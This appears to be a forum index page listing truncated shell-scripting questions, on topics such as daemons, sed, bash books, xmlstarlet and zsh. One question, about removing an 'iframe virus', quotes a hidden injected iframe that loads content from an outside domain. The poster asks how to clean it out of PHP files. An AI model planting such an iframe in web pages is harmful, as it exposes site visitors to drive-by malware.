shell

Creating a Custom Ubuntu Daemon

What's the "correct" way to create a custom daemon in Ubuntu, that will start at boot time and be controllable by Ubuntu's standard daemon start/stop commands? Can I just copy and paste one of the scripts in /etc/init.d or do I need to "register" the daemon somewhere else? ...

How do I use the sed command to remove all lines between 2 phrases (including the phrases themselves)

I am generating a log from which I want to remove X startup output which looks like this: X.Org X Server 1.7.6 Release Date: 2010-03-17 X Protocol Version 11, Revision 0 Build Operating System: Linux 2.6.31-607-imx51 armv7l Ubuntu Current Operating System: Linux nvidia 2.6.33.2 #1 SMP PREEMPT Mon May 31 21:38:29 PDT 2010 armv7l Kernel c...

how to find variable is empty or "" in shell script

how to find variable is empty in shell script ...

Executing shell commands from Java

Hello, I'm trying to execute a shell command from a java application, on the GNU/Linux platform. The problem is that the script, that calls another java application, never ends, although it runs successfully from bash. I tried to debug it: (gdb) bt #0 0xb773d422 in __kernel_vsyscall () #1 0xb7709b5d in pthread_join (threadid=3063909...

Good book for learning Bash shell?

I want to learn how to write shell scripts. Particularly I want to write a svn post-commit script to upload files from a test server to a production server. I am sure I will want to write more as I get more into it. I have very little linux/unix knowledge. Can anyone recommend a good book? ...

Emacs on Windows + SSH: subshell spurios characters?

Hello, I'm trying to connect via SSH to a remote shell, using Emacs on Windows XP. I'm currently using Putty, but I'd like to switch to Emacs. I can't find a way which works right. The best I've achieved is running Plink (command line version of Putty) as a subshell, but I'm still getting spurious characters and duplicated prompts like...

Korn-Shell for Windows 7?

We need to support a legacy app that provides a Unix and a Win32 port. Unfortunately, later in the game, a lot of glue code was written in ksh scripts for the unix port only, and the Win32 port has lost parity. I've been trying to revive it, and I've been trying some ksh-for-windows solutions (a native build of Zsh used to work in the ...

Iterate through XML with xmlstarlet

I have the following XML: <?xml version="1.0" encoding="UTF-8"?> <test-report> <testsuite> <test name="RegisterConnection1Tests"> <testcase name="testRregisterConnection001"></testcase> <testcase name="testRegisterConnection002"></testcase> </test> <test name="RegisterConnection2Tests"> <testcase name="testRregisterConnection001"></test...

Single Quotes Iframe Virus

Hello, i am looking for a shell script to remove following code from multiple files: <iframe hbfww='BoGJMTtZ' src='http://getrelax4you.com/in.cgi?7 ' width='665' height='432' style='display:none'></iframe> I found scripts to remove iframes but they alle where for code with double quotes Like this one here: find -name "*.php" -exec ...

Determine which Explorer.exe on Task List is really the shell?

HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", "Shell" returns the shell name, usually Explorer.exe. However, it does not contain the path, or identify a particular executable file. Enumerating the Task List locates the task Explorer.exe. But what if the user had ran another, unrelated task called Explorer...

How to turn off colors in ZSH shell? Make it black and white with unicode support!!!

Once when I got my hand on openbsd I was really happy to have black and white terminal, I, somehow, orienting much more with b/w colors.. Anyway I know just one option to do it. export TERM="linux-m" and openbsd used something else like "vt8.." i don't remember. Now I have freebsd on my dedicated server, I want to have black and w...

Finding the number of files in a directory for all directories in pwd

Hello all, I am trying to list all directories and place its number of files next to it. I can find the total number of files ls -lR | grep .*.mp3 | wc -l. But how can I get an output like this: dir1 34 dir2 15 dir3 2 ... I don't mind writing to a text file or CSV to get this information if its not possible to get it on screen. ...

How to set the process name of a shell script?

Hi, is there any way to set the process name of a shell script? This is needed for killing this script with the killall command. Thanks for any hint. ...

iPhone - Automate Appstore submission

Hi, Did anyone try scripting/Automating an Appstore app submission? It will be amazing if we can save all the necessary info in a plist or a server, Click on one button to generate and Upload the App to iTunes connect. This will be very useful if we have to develop template based Apps. Any expert opinions/comments/samples? ...

Starting multiple instances of a python script at once from linux command line

Hello, I'd like to start a piece of python script a thousand times! instead of trying to start them one-by-one how can I do that from linux command line? Right now, I am doing it like this: nohup python test.py & nohup python test.py & nohup python test.py & nohup python test.py & nohup python test.py & ... Thanks in advance. ...

Ruby command line MVC framework?

I'm looking to write an app for the shell, *nix mostly. And I'm currently in love with Ruby, especially the 'rails way'. So if there was a framework that applied rails like concepts to the commandline in ruby then that would be really fantastic. I'v allready looked into SimpleCommand and Hirb, nothing quite what I was looking for. To ...

wget relative url to absolute url in shell

Hi I am using wget to copy a data from url and store it in a file.The url gives me a aspx file .I need to convert the aspx file to html file.SO I renamed the file from asd.aspx to asd.html.But in my file there are relative url which are not working in my html file.They should point to original url.How can i convert the relative url to t...

Bash's equivalent of Tcsh's ESC-p to jump to command starting with what you typed so far.

I recently made the insanely long overdue switch from tcsh to bash. The only thing I miss is tcsh's ESC-p feature: Start typing a command and then hit ESC-p (I actually found the equivalent ctrl-[p easier to type) and it jumps to the most recent command in your history that starts with what you've typed so far. Perhaps the best answer i...

shell script merge two list and remove duplicates

I have the following code: get_list_a() { $MYSQL -B -u $USER --passwword="$PW" $DB <<EOF select name, value from mytable_a EOF } get_list_b() { $MYSQL -B -u $USER --passwword="$PW" $DB <<EOF select name, value from mytable_b EOF } get_list_a >$test.txt Now I need to combine a and b first and remove all dups(key is name, th...

How to pass values from child shell to parent shell

How to pass values from child shell to parent shell in shell programming? ...